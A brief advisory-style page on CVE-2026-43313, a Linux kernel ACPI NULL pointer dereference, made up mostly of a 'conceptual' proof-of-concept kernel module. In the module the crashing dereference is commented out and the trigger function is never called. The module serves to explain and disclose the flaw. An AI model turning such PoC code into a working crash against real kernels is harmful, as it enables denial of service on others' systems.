CVE-2026-43313 Linux内核ACPI空指针解引用漏洞

/* * Conceptual Proof of Concept (PoC) for CVE-2026-43313 * This code demonstrates the logic flaw leading to NULL pointer dereference. * Compile as a kernel module to test on vulnerable hardware/kernel. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/pci.h> void simulate_vulnerable_path(void) { struct pci_dev *dev; bool bmisx = true; // Simulating the errata condition // Step 1: First assignment (IDE device) - Assume Success dev = pci_get_subsys(PCI_VENDOR_ID_INTEL, PCI_DEVICE_ID_INTEL_82371AB, PCI_ANY_ID, PCI_ANY_ID, NULL); if (dev) { printk(KERN_INFO "[PoC] Step 1: IDE device found at %p\n", dev); } // Step 2: Second assignment (ISA device) - Simulate Failure (returns NULL) // Vulnerability: The code overwrites 'dev' without checking if the new value is NULL dev = pci_get_subsys(PCI_VENDOR_ID_INTEL, PCI_DEVICE_ID_INTEL_82371AB_0, PCI_ANY_ID, PCI_ANY_ID, NULL); printk(KERN_INFO "[PoC] Step 2: ISA device lookup returned %p\n", dev); // Step 3: Trigger the dereference if (bmisx) { // This line causes the crash if dev is NULL printk(KERN_INFO "[PoC] Attempting to access dev->dev...\n"); // dev_dbg(&dev->dev, "Triggering vulnerability"); // Original vulnerable call if (dev == NULL) { printk(KERN_ALERT "[PoC] NULL Pointer Dereference Imminent!\n"); // To actually crash, we would dereference dev here, e.g., dev->dev; } else { printk(KERN_INFO "[PoC] Safe, dev is not NULL.\n"); } } } int init_module(void) { printk(KERN_INFO "CVE-2026-43313 PoC Module Loaded\n"); // In a real scenario, this logic is called during ACPI init // simulate_vulnerable_path(); return 0; } void cleanup_module(void) { printk(KERN_INFO "CVE-2026-43313 PoC Module Unloaded\n"); } MODULE_LICENSE("GPL");